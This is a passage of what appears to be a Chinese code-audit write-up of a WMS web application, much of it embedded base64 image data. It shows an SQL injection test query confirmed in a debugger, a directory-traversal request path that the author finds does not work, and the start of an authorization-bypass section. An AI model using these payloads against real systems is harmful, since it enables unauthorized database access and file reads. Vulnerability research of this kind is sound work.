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 truncated
在可控参数处插入SQL语句查询<code>SELECT SCHEMA_NAME AS NAME FROM information_schema.SCHEMATA LIMIT 0;</code><br>
尝试debug 可以看到前端传入的SQL语句已经被执行了<a id=img3 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707454750652-eec65774-e18e-46d2-9953-e55cdbf1e90a.png#averageHue=%23292c33&amp;clientId=u1a050abd-bc2d-4&amp;from=paste&amp;height=433&amp;id=udfd25426&amp;originHeight=649&amp;originWidth=1275&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=233477&amp;status=done&amp;style=none&amp;taskId=ua72c11c7-47c3-4d81-822f-6a5625d0ba6&amp;title=&amp;width=850" title><img src="data:image/png;base64,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 truncated
<h1 id=toc-1>失败的目录穿越</h1>
<p>查看代码<a id=img4 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026047475-cba251b7-8f7f-4fd3-9754-4e1a4d57a34b.png#averageHue=%23202125&amp;clientId=u5f11db5c-dd70-4&amp;from=paste&amp;height=300&amp;id=u4ca02ed8&amp;originHeight=450&amp;originWidth=1014&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=104742&amp;status=done&amp;style=none&amp;taskId=u375ca846-3b1b-4ef0-aa35-93b5767cc37&amp;title=&amp;width=676" title><img src=data:image/png;base64,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 truncated
发现没有对<code>../</code>进行过滤,尝试挖掘<br>
get请求<code>/WMS/commons/fileSource/download/../1.txt</code>,发现返回404,才发现他的value的值如下<code>value = "download/{fileName:.+}"</code>这里直接拼接<code>/../</code>springboot会解析到上层接口<br>
如下写法即可直接解析<code>/../</code></p>
<div class=highlight><pre><span></span>@RequestMapping(value = "/download/**", method = RequestMethod.GET)
public void downloadFile(@PathVariable String fileName, HttpServletResponse response) throws IOException {
// ...
}
</pre></div>
<p>要想在这个接口进行目录穿越就要<code>如下请求/WMS/commons/fileSource/download/supplierInfo.xlsx/../1.txt</code><br>
但是被<code>@PathVariable</code>注解取出参数为1.txt,,所以此处并无任意文件读取。</p>
<h1 id=toc-2>越权<a id=img5 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026088754-ad073996-b45b-48a6-8b8d-1aac8336e0ad.png#averageHue=%23f7f6f6&amp;clientId=u5f11db5c-dd70-4&amp;from=paste&amp;height=206&amp;id=ua1031857&amp;originHeight=309&amp;originWidth=1020&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=37567&amp;status=done&amp;style=none&amp;taskId=u0770ec56-2d79-4e1a-b7b4-d3f85eafc30&amp;title=&amp;width=680"><img src="data:image/png;base64,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